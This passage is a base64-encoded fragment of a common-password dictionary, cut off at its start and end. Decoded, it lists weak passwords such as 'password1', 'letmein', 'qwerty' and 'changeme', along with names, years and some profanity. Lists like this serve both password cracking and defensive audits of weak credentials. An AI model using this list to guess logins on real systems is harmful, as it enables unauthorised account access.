1vcnJpcw0KbW9ydGFsDQptb3J0YWxjbw0KbW9ydGdhZ2UNCm1vc2FpYw0KbW91bnRhaW4NCm1vdmllcw0KbW96YXJ0DQptdXBwZXRzDQptdXRhbnQNCm15cGFzcw0KbXlwYXNzMTIzDQpteXBjMTIzDQpuYXBvbGVvbg0KbmVwZW50aGUNCm5lcHR1bmUNCm5ldC1kZXZpbA0KbmV0Ymlvcw0KbmV0ZGV2aWwNCm5ldGZ1Y2sNCm5ldHNjYXBlDQpuZXR3b3JrDQpuZXdib3JuDQpuZXdzZ3JvdQ0KbmV3dG9uDQpuZXd5b3JrDQpuaWNvbGUNCm5pY290aW5lDQpuaWdodG1hcg0KbmludGVuZG8NCm5uYWFjcA0Kbm9ib2R5DQpub3JlZW4NCm5vdmVtYmVyDQpub3hpb3VzDQpudWNsZWFyDQpudW1iZXINCm51dHJpdGlvDQpudXRyaXRpb24NCm55cXVpc3QNCm9ic2N1cml0DQpvY2Vhbm9ncg0Kb2NlYW5vZ3JhcGh5DQpvY2Vsb3QNCm9lbWluc3RhbGwNCm9lbXVzZXINCm9mZmljZQ0Kb2xkYWdlDQpvbGl2ZXR0aQ0Kb2xpdmlhDQpvcGVuaW5nDQpvcGVubG9jaw0Kb3BlbnNlc2ENCm9wZXJhdG9yDQpvcmFjbGUNCm9yYW5nZQ0Kb3JpZW50DQpvcndlbGwNCm9zaXJpcw0Kb3V0ZG9vcnMNCm91dGxhdw0Kb3V0bG9vaw0Kb3V0cHV0DQpvdXRzaWRlDQpveGZvcmQNCnBhY2lmaWMNCnBhY2thcmQNCnBhY2tlcg0KcGFpbmxlc3MNCnBha2lzdGFuDQpwYW1lbGENCnBhcGVycw0KcGFzY2FsDQpwYXNzMTIzDQpwYXNzMTIzNA0KcGFzc3BocmENCnBhc3N3ZA0KcGFzc3dvcmQNClBBU1NXT1JEDQpQYXNzd29yZA0KcGFzc3dvcmQxDQpwYXNzd29yZDEyMw0KcGF0cmljaWENCnBhdHJpY2sNCnBhdHJpb3QNCnBlYW51dHMNCnBlY2tlcg0KcGVuY2lsDQpwZW5lbG9wZQ0KcGVuZ3Vpbg0KcGVubmFtZQ0KcGVudGFnb24NCnBlbnRhZ3JhDQpwZW50aG91cw0KcGVudGl1bQ0KcGVvcmlhDQpwZXBwZXINCnBlcmNvbGF0DQpwZXJjb2xhdGUNCnBlcmZlY3QNCnBlcm1pdA0KcGVyc2ltbW8NCnBlcnNpbW1vbg0KcGVyc29uYQ0KcGVydmVydA0KcGhpbGlwDQpwaG9lbml4DQpwaG90b24NCnBocmFjaw0KcGhyYXNlDQpwaHJlYWsNCnBpZXJyZQ0KcGlubmFtZQ0KcGxheWJveQ0KcGxvdmVyDQpwbHltb3V0aA0KcG9ldHJ5DQpwb2xpY2UNCnBvbHlub21pDQpwb2x5bm9taWFsDQpwb25kZXJpbg0KcG9uZGVyaW5nDQpwb3JzY2hlDQpwb3N0ZXINCnByYWlzZQ0KcHJlY2lvdXMNCnByZWx1ZGUNCnByZXN0bw0KcHJpbmNlDQpwcmluY2V0bw0KcHJpbmNldG9uDQpwcmludGVyDQpwcml2YXRlDQpwcm9jZWVkDQpwcm9jZXNzbw0KcHJvZmVzc28NCnByb2Zlc3Nvcg0KcHJvZmlsZQ0KcHJvZ3JhbQ0KcHJvbXB0DQpwcm90ZWN0DQpwcm90b3pvYQ0KcHN5Y2hvDQpwc3ljaG9wYQ0KcHVibGljDQpwdW1wa2luDQpwdW5lZXQNCnB1bmlzaGVyDQpwdXBwZXQNCnF1ZWJlYw0KcXdlcnR5DQpyYWJiaXQNCnJhY2hlbA0KcmFjaGVsbGUNCnJhY2htYW5pDQpyYWNobWFuaW5vZmYNCnJhaW5ib3cNCnJhaW5kcm9wDQpyYWxlaWdoDQpyYW5kb20NCnJhc2NhbA0KcmVhZ2FuDQpyZWFsaXR5DQpyZWFsbHkNCnJlYXBlcg0KcmViZWNjYQ0KcmVjb3JkDQpyZWRkYXduDQpyZWRoZWFkDQpyZWZlcmVuYw0KcmVnaW9uYWwNCnJlbGVhc2UNCnJlbW90ZQ0KcmVwb3J0DQpyZXB1YmxpYw0KcmVzaXN0YW4NCnJldmVhbA0KcmlmZnJhZmYNCnJpZ2h0d2luDQpyaXBwbGUNCnJvYmVydA0Kcm9ib3RpY3MNCnJvY2hlbGxlDQpyb2NoZXN0ZQ0Kcm9jaGVzdGVyDQpyb2NreWhvcg0Kcm9kZW50DQpyb21hbm8NCnJvbXVsYW4NCnJvbmFsZA0Kcm9vdGVkDQpSb3Njb1ANClJvc2NvUENvbHRyYW5lDQpyb3NlYnVkDQpyb3NlbWFyeQ0KcnViYmVyDQpydW5uaW5nDQpzYWxhbWkNCnNhbWFudGhhDQpzYW1wbGUNCnNhbmRyYQ0Kc2F0YW5pYw0Kc2F0YW5paw0Kc2F0dXJkYXkNCnNhdHVybg0Kc2NhbXBlcg0Kc2NoZW1lDQpzY2hvb2wNCnNjaG9vbHN1Y2tzDQpzY29ycGlvbg0Kc2NvdHR5DQpzY3JpcHQNCnNjcmlwdGtpZGRpZQ0Kc2VhcmNoDQpzZWNyZXQNCnNlY3VyaXR5DQpzZW5zb3INCnNlbnRpbmVsDQpzZW50cnkNCnNlcmVuaXR5DQpzZXJpYWwNClNFUlZFUg0Kc2VydmVyDQpzZXJ2aWNlDQpzZXNhbWUNCnNoYW5ub24NCnNoYXJrcw0Kc2hhcm9uDQpzaGVmZmllbA0Kc2hlZmZpZWxkDQpzaGVsZG9uDQpzaGVycmkNCnNoaXJsZXkNCnNoaXRwb3QNCnNoaXZlcnMNCnNodXR0bGUNCnNpZW1lbnMNCnNpZXJyYQ0Kc2lnbmF0dXINCnNpZ25hdHVyZQ0Kc2lsdmVyDQpzaW1jaXR5DQpzaW1wbGUNCnNpbXBzb25zDQpzaW11bGF0aQ0Kc2luZ2VyDQpzaW5nbGUNCnNsaWRlcnMNCnNtaWxlcw0Kc21vb2NoDQpzbW90aGVyDQpzbmF0Y2gNCnNub29weQ0Kc29jaWFsDQpzb2NyYXRlcw0Kc29kb215DQpzb2Z0d2FyZQ0Kc29tZWJvZHkNCnNvbmRyYQ0Kc29zc2luYQ0Kc291cmNlDQpzcGFjZW1hbg0Kc3BhY2VzaGkNCnNwYXJyb3dzDQpzcGVuY2VyDQpzcGlkZXINCnNwaWRlcm1hDQpzcHJpbmcNCnNwcmluZ2VyDQpzcWxhZ2VudA0Kc3FscGFzcw0Kc3F1aXJlcw0Kc3RhY2V5DQpzdGFjaWUNClN0YW5kYXJkDQpzdGFyc2hpcA0Kc3RhcnRyZWsNCnN0YXJ0dXANCnN0YXJ3YXJzDQpzdGVwaGFuaQ0Kc3RlcGhhbmllDQpzdGVyZW8NCnN0b25lYWdlDQpzdG9uZWQNCnN0b25lcw0Kc3RyYW5nZQ0Kc3RyYW5nbGUNCnN0cmF0Zm9yDQpzdHJhdGZvcmQNCnN0cmVldGZpDQpzdHJpbmcNCnN0dWRlbnQNCnN0dWRlbnQxDQpzdHV0dGdhcg0Kc3R1dHRnYXJ0DQpzdWJzY3JpYg0Kc3Vid2F5DQpzdWNjZXNzDQpzdWNrbXlkaQ0Kc3VtbWVyDQpzdW5kYXkNCnN1cGVybWFuDQpzdXBlcnNvbg0Kc3VwZXJzdGENCnN1cGVyc3RhZ2UNCnN1cGVydXNlDQpzdXBlcnVzZXINCnN1cGVydmlzDQpzdXBwb3J0DQpzdXBwb3J0ZQ0Kc3VwcG9ydGVkDQpzdXJmZXINCnN1cmZpbmcNCnN1c2FubmUNCnN1emFubmUNCnN3ZWFyZXINCnN3aXRjaA0Kc3liYXNlDQpzeW1tZXRyeQ0Kc3lzYWRtaW4NClNZU1RFTQ0Kc3lzdGVtDQp0YWJhc2NvDQp0YW1hcmENCnRhbmdlcmluDQp0YW5nZXJpbmUNCnRhcmdldA0KdGFycmFnb24NCnRheWxvcg0KdGVhY2hlcg0KdGVhcG90DQp0ZWNobmljYWwNCnRlZW5hZ2UNCnRlbGVwaG9uDQp0ZWxlcGhvbmUNCnRlbG5ldA0KdGVtcDEyMw0KdGVtcHRhdGkNCnRlbXB0YXRpb24NCnRlbm5pcw0KdGVybWluYWwNCnRlcm1pbmF0DQp0ZXN0MTIzDQp0ZXN0ZXINCnRlc3Rpbg0KdGVzdGluZw0KdGV0cmlzDQp0aGFpbGFuZA0KdGhlcmVzYQ0KdGh1cnNkYXkNCnRpZmZhbnkNCnRvZ2dsZQ0KdG9rZW5yaW4NCnRvbWF0bw0KdG9wb2dyYXANCnRvcG9ncmFwaHkNCnRvcnRvaXNlDQp0b3lvdGENCnRyYWNpZQ0KdHJhaWxzDQp0cmFuc2Zlcg0KdHJhcGRvb3INCnRyaXNoYQ0KdHJpdmlhbA0KdHJvamFuDQp0cm9tYm9uZQ0KdHVlc2RheQ0KdHVybmlwDQp0dXR0bGUNCnVuaGFwcHkNCnVuaWNvcm4NCnVuaWZvcm0NCnVuaXZlcnNhDQp1bml2ZXJzZQ0KdW5pdmVyc2kNCnVua25vd24NClVua25vd24NCnVubG9jaw0KdXBsb2FkDQp1cmFudXMNCnVyY2hpbg0KdXJzdWxhDQp1c2VuZXQNCnVzZXJtYW5lDQp1c2VybmFtZQ0KdXNlcnBhc3N3b3JkDQp1dGlsaXR5DQp1d29udGd1ZXNzbWUNCnZhZ2luYQ0KdmFsZXJpZQ0KdmFtcGlyZQ0KdmFzYW50DQp2ZXJvbmljYQ0KdmVydGlnbw0KdmljdG9yDQp2aWRlb2dhbQ0KdmlsbGFnZQ0KdmlyZ2luDQp2aXJnaW5pYQ0KdmlzaXRvcg0KdmlzdWFsDQp2aXN1YWxiYQ0Kd2FyZmFyZQ0Kd2FyZ2FtZXMNCndhcnJlbg0Kd2F0Y2h3b3INCndlYnBhZ2UNCndlZG5lc2RhDQp3ZWVuaWUNCndlcmV3b2xmDQp3ZXN0ZXJuDQp3aGF0ZXZlcg0Kd2hhdG5vdA0Kd2hpc2t5DQp3aGl0aW5nDQp3aGl0bmV5DQp3aG9sZXNhbA0Kd2hvbGVzYWxlDQp3aWxlZWNveW90ZQ0Kd2lsbGlhbQ0Kd2lsbGlhbXMNCndpbGxpYW1zYnVyZw0Kd2lsbGllDQp3aW4yMDAwDQp3aW5kb3NlDQp3aW5kb3dzDQp3aW5kb3dzMmsNCndpbmRvd3M5NQ0Kd2luZG93czk4DQp3aW5kb3dzTUUNCldpbmRvd3NYUA0Kd2luZG93eg0Kd2luZG96ZQ0Kd2luZG96ZTJrDQp3aW5kb3plOTUNCndpbmRvemU5OA0Kd2luZG96ZU1FDQp3aW5kb3pleHANCndpbnBhc3MNCndpbnN0b24NCndpc2NvbnNpDQp3aXNjb25zaW4NCndpc2Vhc3MNCndpdGhpbg0Kd2l6YXJkDQp3b2x2ZXJpbg0Kd29tYmF0DQp3b29kd2luZA0Kd29yZHBlcmYNCndvcm13b29kDQp3d3dhZG1pbg0Kd3lvbWluZw0KeG1vZGVtDQp4eHh4eHgNCnh4eHh4eHgNCnh4eHh4eHh4DQp4eHh4eHh4eHgNCnlhbmtlZQ0KeWVsbG93DQp5ZWxsb3dzdA0KeWVsbG93c3RvbmUNCnlvbGFuZGENCnlvc2VtaXRlDQp5b3V3b250Z3Vlc3NtZQ0KemVpdGdlaXMNCnppbW1lcm1hDQp6aW1tZXJtYW4NCnptb2RlbQ0Kem9tYmllDQoxMjM0NQ0KYWJjMTIzDQpwYXNzd29yZA0KY29tcHV0ZXINCjEyMzQ1Ng0KdGlnZ2VyDQoxMjM0DQphMWIyYzMNCnF3ZXJ0eQ0KMTIzDQp4eHgNCm1vbmV5DQp0ZXN0DQpjYXJtZW4NCm1pY2tleQ0Kc2VjcmV0DQpzdW1tZXINCmludGVybmV0DQpzZXJ2aWNlDQpjYW5hZGENCmhlbGxvDQpyYW5nZXINCnNoYWRvdw0KYmFzZWJhbGwNCmRvbmFsZA0KaGFybGV5DQpob2NrZXkNCmxldG1laW4NCm1hZ2dpZQ0KbWlrZQ0KbXVzdGFuZw0Kc25vb3B5DQpidXN0ZXINCmRyYWdvbg0Kam9yZGFuDQptaWNoYWVsDQptaWNoZWxsZQ0KbWluZHkNCnBhdHJpY2sNCjEyM2FiYw0KYW5kcmV3DQpiZWFyDQpjYWx2aW4NCmNoYW5nZW1lDQpkaWFtb25kDQpmdWNrbWUNCmZ1Y2t5b3UNCm1hdHRoZXcNCm1pbGxlcg0Kb3U4MTINCnRpZ2VyDQp0cnVzdG5vMQ0KMTIzNDU2NzgNCmFsZXgNCmFwcGxlDQphdmFsb24NCmJyYW5keQ0KY2hlbHNlYQ0KY29mZmVlDQpkYXZlDQpmYWxjb24NCmZyZWVkb20NCmdhbmRhbGYNCmdvbGYNCmdyZWVuDQpoZWxwbWUNCmxpbmRhDQptYWdpYw0KbWVybGluDQptb2xzb24NCm5ld3lvcmsNCnNvY2Nlcg0KdGhvbWFzDQp3aXphcmQNCk1vbmRheQ0KYXNkZmdoDQpiYW5kaXQNCmJhdG1hbg0KYm9yaXMNCmJ1dHRoZWFkDQpkb3JvdGh5DQplZXlvcmUNCmZpc2hpbmcNCmZvb3RiYWxsDQpnZW9yZ2UNCmhhcHB5DQppbG92ZXlvdQ0KamVubmlmZXINCmpvbmF0aGFuDQpsb3ZlDQptYXJpbmENCm1hc3Rlcg0KbWlzc3kNCm1vbmRheQ0KbW9ua2V5DQpuYXRhc2hhDQpuY2MxNzAxDQpuZXdwYXNzDQpwYW1lbGENCnBlcHBlcg0KcGlnbGV0DQpwb29oYmVhcg0KcG9va2llDQpyYWJiaXQNCnJhY2hlbA0Kcm9ja2V0DQpyb3NlDQpzbWlsZQ0Kc3Bhcmt5DQpzcHJpbmcNCnN0ZXZlbg0Kc3VjY2Vzcw0Kc3Vuc2hpbmUNCnRoeDExMzgNCnZpY3RvcmlhDQp3aGF0ZXZlcg0KemFwYXRhDQoxDQo4Njc1MzA5DQpJbnRlcm5ldA0KYW1hbmRhDQphbmR5DQphbmdlbA0KYXVndXN0DQpiYXJuZXkNCmJpdGVtZQ0KYm9vbWVyDQpicmlhbg0KY2FzZXkNCmNva2UNCmNvd2JveQ0KZGVsdGENCmRvY3Rvcg0KZmlzaGVyDQpmb29iYXINCmlzbGFuZA0Kam9obg0Kam9zaHVhDQprYXJlbg0KbWFybGV5DQpvcmFuZ2UNCnBsZWFzZQ0KcmFzY2FsDQpyaWNoYXJkDQpzYXJhaA0Kc2Nvb3Rlcg0Kc2hhbG9tDQpzaWx2ZXINCnNraXBweQ0Kc3RhbmxleQ0KdGF5bG9yDQp3ZWxjb21lDQp6ZXBoeXINCjExMTExMQ0KMTkyOA0KYWFhYWFhDQphYmMNCmFjY2Vzcw0KYWxiZXJ0DQphbGV4YW5kZXINCmFuZHJlYQ0KYW5uYQ0KYW50aG9ueQ0KYXNkZmprbDsNCmFzaGxleQ0KYmFzZg0KYmFza2V0YmFsbA0KYmVhdmlzDQpibGFjaw0KYm9iDQpib29ib28NCmJyYWRsZXkNCmJyYW5kb24NCmJ1ZGR5DQpjYWl0bGluDQpjYW1hcm8NCmNoYXJsaWUNCmNoaWNrZW4NCmNocmlzDQpjaW5keQ0KY3JpY2tldA0KZGFrb3RhDQpkYWxsYXMNCmRhbmllbA0KZGF2aWQNCmRlYmJpZQ0KZG9scGhpbg0KZWxlcGhhbnQNCmVtaWx5DQpmaXNoDQpmcmVkDQpmcmllbmQNCmZ1Y2tlcg0KZ2luZ2VyDQpnb29kbHVjaw0KaGFtbWVyDQpoZWF0aGVyDQpoZWxwDQppY2VtYW4NCmphc29uDQpqZXNzaWNhDQpqZXN1cw0Kam9zZXBoDQpqdXBpdGVyDQpqdXN0aW4NCmtldmluDQprbmlnaHQNCmxhY3Jvc3NlDQpsYWtlcnMNCmxpemFyZA0KbWFkaXNvbg0KbWFyeQ0KbW90aGVyDQptdWZmaW4NCm11cnBoeQ0KbmNjMTcwMWQNCm5ld3VzZXINCm5pcnZhbmENCm5vbmUNCnBhcmlzDQpwYXQNCnBlbnRpdW0NCnBob2VuaXgNCnBpY3R1cmUNCnJhaW5ib3cNCnNhbmR5DQpzYXR1cm4NCnNjb3R0DQpzaGFubm9uDQpzaGl0aGVhZA0Kc2tlZXRlcg0Kc29waGllDQpzcGVjaWFsDQpzdGVwaGFuaWUNCnN0ZXBoZW4NCnN0ZXZlDQpzd2VldGllDQp0ZWFjaGVyDQp0ZW5uaXMNCnRlc3QxMjMNCnRvbW15DQp0b3BndW4NCnRyaXN0YW4NCndhbGx5DQp3aWxsaWFtDQp3aWxzb24NCjFxMnczZQ0KNjU0MzIxDQo2NjY2NjYNCjc3Nw0KYTEyMzQ1DQphMWIyYzNkNA0KYWxwaGENCmFtYmVyDQphbmdlbGENCmFuZ2llDQphcmNoaWUNCmFzZGYNCmJsYXplcg0KYm9uZDAwNw0KYm9vZ2VyDQpjaGFybGVzDQpjaHJpc3Rpbg0KY2xhaXJlDQpjb250cm9sDQpkYW5ueQ0KZGF2aWQxDQpkZW5uaXMNCmRpZ2l0YWwNCmRpc25leQ0KZG9nDQpkdWNrDQpkdWtlDQplZHdhcmQNCmVsdmlzDQpmZWxpeA0KZmxpcHBlcg0KZmxveWQNCmZyYW5rbGluDQpmcm9kbw0KZ3Vlc3QNCmhvbmRhDQpob3JzZXMNCmh1bnRlcg0KaW5kaWdvDQppbmZvDQpqYW1lcw0KamFzcGVyDQpqZXJlbXkNCmpvZQ0KanVsaWFuDQprZWxzZXkNCmtpbGxlcg0Ka2luZ2Zpc2gNCmxhdXJlbg0KbWFyaWUNCm1hcnlqYW5lDQptYXRyaXgNCm1hdmVyaWNrDQptYXlkYXkNCm1lcmN1cnkNCm1pY3JvDQptaXRjaGVsbA0KbW9yZ2FuDQptb3VudGFpbg0KbmluZXJzDQpub3RoaW5nDQpvbGl2ZXINCnBlYWNlDQpwZWFudXQNCnBlYXJsamFtDQpwaGFudG9tDQpwb3Bjb3JuDQpwcmluY2Vzcw0KcHN5Y2hvDQpwdW1wa2luDQpwdXJwbGUNCnJhbmR5DQpyZWJlY2NhDQpyZWRkb2cNCnJvYmVydA0Kcm9ja3kNCnJvc2VzDQpzYWxtb24NCnNhbQ0Kc2Ftc29uDQpzaGFyb24NCnNpZXJyYQ0Kc21va2V5DQpzdGFydHJlaw0Kc3RlZWxlcnMNCnN0aW1weQ0Kc3VuZmxvd2VyDQpzdXBlcm1hbg0Kc3VwcG9ydA0Kc3lkbmV5DQp0ZWNobm8NCnRlbGVjb20NCnRlc3QxDQp3YWx0ZXINCndpbGxpZQ0Kd2lsbG93DQp3aW5uZXINCnppZ2d5DQp6eGN2Ym5tDQo3Nzc3DQpPVTgxMg0KYQ0KYWJzb2x1dA0KYWxhc2thDQphbGV4aXMNCmFsaWNlDQphbmltYWwNCmFwcGxlcw0KYmFieWxvbjUNCmJhY2t1cA0KYmFyYmFyYQ0KYmVuamFtaW4NCmJpbGwNCmJpbGx5DQpiaXJkMzMNCmJsdWUNCmJsdWViaXJkDQpib2JieQ0KYm9ubmllDQpidWJiYQ0KY2FtZXJhDQpjaG9jb2xhdGUNCmNsYXJrDQpjbGF1ZGlhDQpjb2NhY29sYQ0KY29tcHRvbg0KY29ubmVjdA0KY29va2llDQpjcnVpc2UNCmRlbGl2ZXINCmRvdWdsYXMNCmRyZWFtZXINCmRyZWFtcw0KZHVja2llDQplYWdsZXMNCmVkZGllDQplaW5zdGVpbg0KZW50ZXINCmV4cGxvcmVyDQpmYWl0aA0KZmFtaWx5DQpmZXJyYXJpDQpmaXJlDQpmbGFtaW5nbw0KZmxpcA0KZmxvd2VyDQpmb3h0cm90DQpmcmFuY2lzDQpmcmVkZHkNCmZyaWRheQ0KZnJvZ2d5DQpnYWxpbGVvDQpnaWFudHMNCmdpem1vDQpnbG9iYWwNCmdvb2Z5DQpnb3BoZXINCmhhbnNvbG8NCmhhcHB5MQ0KaGVuZHJpeA0KaGVucnkNCmhlcm1hbg0KaG9tZXINCmhvbmV5DQpob3VzZQ0KaG91c3Rvbg0KaWd1YW5hDQppbmRpYW5hDQppbnNhbmUNCmluc2lkZQ0KaXJpc2gNCmlyb25tYW4NCmpha2UNCmphbmUNCmphc21pbg0KamVhbm5lDQpqZXJyeQ0KamltDQpqb2V5DQpqdXN0aWNlDQprYXRoZXJpbmUNCmtlcm1pdA0Ka2l0dHkNCmtvYWxhDQpsYXJyeQ0KbGVzbGllDQpsb2dhbg0KbHVja3kNCm1hcmsNCm1hcnRpbg0KbWF0dA0KbWlubmllDQptaXN0eQ0KbWl0Y2gNCm1vbQ0KbW91c2UNCm5hbmN5DQpuYXNjYXINCm5lbHNvbg0KbmV0d2FyZQ0KcGFudGVyYQ0KcGFya2VyDQpwYXNzd2QNCnBlbmd1aW4NCnBldGVyDQpwaGlsDQpwaGlzaA0KcGlhbm8NCnBpenphDQpwb3JzY2hlOTExDQpwcmluY2UNCnB1bmtpbg0KcHlyYW1pZA0KcmFpbg0KcmF5bW9uZA0KcmVkDQpyb2Jpbg0Kcm9nZXINCnJvc2VidWQNCnJvdXRlNjYNCnJveWFsDQpydW5uaW5nDQpzYWRpZQ0Kc2FzaGENCnNlY3VyaXR5DQpzZXJnZWkNCnNoZWVuYQ0Kc2hlaWxhDQpza2lpbmcNCnNuYXBwbGUNCnNub3diYWxsDQpzcGFycm93DQpzcGVuY2VyDQpzcGlrZQ0Kc3Rhcg0Kc3RlYWx0aA0Kc3R1ZGVudA0Kc3VuDQpzdW5ueQ0Kc3lsdmlhDQp0YW1hcmENCnRhdXJ1cw0KdGVjaA0KdGVyZXNhDQp0aGVyZXNhDQp0aHVuZGVyYmlyZA0KdGlnZXJzDQp0b255DQp0b3lvdGENCnRyYWluaW5nDQp0cmF2ZWwNCnRydWNrDQp0dWVzZGF5DQp2aWN0b3J5DQp2aWRlbw0KdmlwZXIxDQp2b2x2bw0Kd2VzbGV5DQp3aGlza3kNCndpbm5pZQ0Kd2ludGVyDQp3b2x2ZXMNCnh5ejEyMw0Kem9ycm8NCiFAIyQlDQowMDcNCjEyMzEyMw0KMTIzNDU2Nw0KMTk2OQ0KNTY4Mw0KNjk2OTY5DQo4ODg4ODgNCkFudGhvbnkNCkJvbmQwMDcNCkZyaWRheQ0KSGVuZHJpeA0KSm9zaHVhDQpNYXR0aGV3DQpPY3RvYmVyDQpUYXVydXMNClRpZ2dlcg0KYWFhDQphYXJvbg0KYWJieQ0KYWJjZGVmDQphZGlkYXMNCmFkcmlhbg0KYWxleGFuZHINCmFsZnJlZA0KYXJ0aHVyDQphdGhlbmENCmF1c3Rpbg0KYXdlc29tZQ0KYmFkZ2VyDQpiYW1ib28NCmJlYWdsZQ0KYmVhcnMNCmJlYXRsZXMNCmJlYXV0aWZ1bA0KYmVhdmVyDQpiZW5ueQ0KYmlnbWFjDQpiaW5nbw0KYml0Y2gNCmJsb25kZQ0KYm9vZ2llDQpib3N0b24NCmJyZW5kYQ0KYnJpZ2h0DQpidWJiYTENCmJ1YmJsZXMNCmJ1ZmZ5DQpidXR0b24NCmJ1dHRvbnMNCmNhY3R1cw0KY2FuZHkNCmNhcHRhaW4NCmNhcmxvcw0KY2Fyb2xpbmUNCmNhcnJpZQ0KY2FzcGVyDQpjYXRhbG9nDQpjYXRjaDIyDQpjaGFsbGVuZ2UNCmNoYW5jZQ0KY2hhcml0eQ0KY2hhcmxvdHRlDQpjaGVlc2UNCmNoZXJ5bA0KY2hsb2UNCmNocmlzMQ0KY2xhbmN5DQpjbGlwcGVyDQpjb2x0cmFuZQ0KY29tcGFxDQpjb25yYWQNCmNvb3Blcg0KY29vdGVyDQpjb3BwZXINCmNvc21vcw0KY291Z2FyDQpjcmFja2VyDQpjcmF3Zm9yZA0KY3J5c3RhbA0KY3VydGlzDQpjeWNsb25lDQpjeXJhbm8NCmRhbg0KZGFuY2UNCmRhd24NCmRlYW4NCmRldXRzY2gNCmRpYWJsbw0KZGlsYmVydA0KZG9sbGFycw0KZG9va2llDQpkb29tDQpkdW1iYXNzDQpkdW5kZWUNCmUtbWFpbA0KZWxpemFiZXRoDQplcmljDQpldXJvcGUNCmV4cG9ydA0KZmFybWVyDQpmaXJlYmlyZA0KZmxldGNoZXINCmZsdWZmeQ0KZm9yZA0KZm91bnRhaW4NCmZveA0KZnJhbmNlDQpmcmVhazENCmZyaWVuZHMNCmZyb2cNCmZ1Y2tvZmYNCmdhYnJpZWwNCmdhYnJpZWxsDQpnYWxheHkNCmdhbWJpdA0KZ2FyZGVuDQpnYXJmaWVsZA0KZ2FybGljDQpnYXJuZXQNCmdlbmVzaXMNCmdlbml1cw0KZ29kemlsbGENCmdvZm9yaXQNCmdvbGZlcg0KZ29vYmVyDQpncmFjZQ0KZ3JhdGVmdWwNCmdyZWVuZGF5DQpncm9vdnkNCmdyb3Zlcg0KZ3VpdGFyDQpoYWNrZXINCmhhcnJ5DQpoYXplbA0KaGVjdG9yDQpoZXJiZXJ0DQpob29wcw0KaG9yaXpvbg0KaG9ybmV0DQpob3dhcmQNCmljZWNyZWFtDQppbWFnaW5lDQppbXBhbGENCmluZm9ybWl4DQpqYWNrDQpqYW5pY2UNCmphc21pbmUNCmphc29uMQ0KamVhbmV0dGUNCmplZmZyZXkNCmplbmlmZXINCmplbm5pDQpqZXN1czENCmpld2Vscw0Kam9rZXINCmp1bGllDQpqdWxpZTENCmp1bmlvcg0KanVzdGluMQ0Ka2F0aGxlZW4NCmtlaXRoDQprZWxseQ0Ka2VsbHkxDQprZW5uZWR5DQprZXZpbjENCmtuaWNrcw0KbGFkeQ0KbGFycnkxDQpsZWR6ZXANCmxlZQ0KbGVvbmFyZA0KbGVzdGF0DQpsaWJyYXJ5DQpsaW5jb2xuDQpsaW9ua2luZw0KbG9uZG9uDQpsb3Vpc2UNCmx1Y2t5MQ0KbHVjeQ0KbWFkZG9nDQptYWlsbWFuDQptYWpvcmRvbW8NCm1hbnRyYQ0KbWFyZ2FyZXQNCm1hcmlwb3NhDQptYXJrZXQNCm1hcmxib3JvDQptYXJ0aW4xDQptYXJ0eQ0KbWFzdGVyMQ0KbWF6ZGExDQptZW5zdWNrDQptZXJjZWRlcw0KbWV0YWwNCm1ldGFsbGljDQptaWRvcmkNCm1pa2V5DQptaWxsaWUNCm1pcmFnZQ0KbW1tDQptb2xseQ0KbW9uZXQNCm1vbmV5MQ0KbW9uaWNhDQptb25vcG9seQ0KbW9va2llDQptb29zZQ0KbW9yb25pDQptdXNpYw0KbmFvbWkNCm5hdGhhbg0KbmNjMTcwMWUNCm5lc2JpdHQNCm5ld3MNCm5ndXllbg0KbmljaG9sYXMNCm5pY29sZQ0Kbmltcm9kDQpvY3RvYmVyDQpvbGl2ZQ0Kb2xpdmlhDQpvbmUNCm9ubGluZQ0Kb3Blbg0Kb3NjYXINCm94Zm9yZA0KcGFjaWZpYw0KcGFpbnRlcg0KcGVhY2hlcw0KcGVuZWxvcGUNCnBlcHNpDQpwZXRlDQpwZXR1bmlhDQpwaGlsaXANCnBob2VuaXgxDQpwaG90bw0KcGlja2xlDQpwbGF5ZXINCnBvaXV5dA0KcG9yc2NoZQ0KcG9ydGVyDQpwcHANCnB1cHB5DQpweXRob24NCnF1YWxpdHkNCnF1ZXN0DQpyYXF1ZWwNCnJhdmVuDQpyZW1lbWJlcg0KcmVwdWJsaWMNCnJlc2VhcmNoDQpyb2JiaWUNCnJvYmVydDENCnJvbWFuDQpydWdieQ0KcnVubmVyDQpydXNzZWxsDQpyeWFuDQpzYWlsaW5nDQpzYWlsb3INCnNhbWFudGhhDQpzYXZhZ2UNCnNiZGMNCnNjYXJsZXR0DQpzY2hvb2wNCnNlYW4NCnNldmVuDQpzaGFkb3cxDQpzaGViYQ0Kc2hlbGJ5DQpzaGl0DQpzaG9lcw0Kc2ltYmENCnNpbXBsZQ0Kc2tpcHBlcg0Kc21pbGV5DQpzbmFrZQ0Kc25pY2tlcnMNCnNuaXBlcg0Kc25vb3Bkb2cNCnNub3dtYW4NCnNvbmljDQpzcGl0ZmlyZQ0Kc3ByaXRlDQpzcHVua3kNCnN0YXJ3YXJzDQpzdGF0aW9uDQpzdGVsbGENCnN0aW5ncmF5DQpzdG9ybQ0Kc3Rvcm15DQpzdHVwaWQNCnN1bXVpbmVuDQpzdW5ueTENCnN1bnJpc2UNCnN1cHJhDQpzdXJmZXINCnN1c2FuDQp0YW1teQ0KdGFuZ28NCnRhbnlhDQp0YXJhDQp0ZWRkeTENCnRlbXANCnRlc3RpbmcNCnRoZWJvc3MNCnRoZWtpbmcNCnRodW1wZXINCnRpbmENCnRpbnRpbg0KdG9tY2F0DQp0cmVib3INCnRyZWsNCnRyZXZvcg0KdHdlZXR5DQp1bmljb3JuDQp2YWxlbnRpbmUNCnZhbGVyaWUNCnZhbmlsbGENCnZlcm9uaWNhDQp2aWN0b3INCnZpbmNlbnQNCnZpcGVyDQp3YXJyaW9yDQp3YXJyaW9ycw0Kd2Vhc2VsDQp3aGVlbHMNCndpbGJ1cg0Kd2luc3Rvbg0Kd2lzZG9tDQp3b21iYXQNCnhhbmFkdQ0KeGF2aWVyDQp4eHh4DQp5ZWxsb3cNCnphcGhvZA0KemVwcGVsaW4NCnpldXMNCiFAIyQlXg0KIUAjJCVeJioNCioNCjAwMDcNCjEwMjINCjEwc25lMQ0KMTExMQ0KMTIxMg0KMTkxMQ0KMTk0OA0KMTk3Mw0KMTk3OA0KMTk5Ng0KMXAybzNpDQoyMDAwDQoyMjIyDQozYmVhcnMNCjUyNTINCkFuZHJldw0KQnJvYWR3YXkNCkNoYW1wcw0KRmFtaWx5DQpGaXNoZXINCkZyaWVuZHMNCkplYW5uZQ0KS2lsbGVyDQpLbmlnaHQNCk1hc3Rlcg0KTWljaGFlbA0KTWljaGVsbGUNC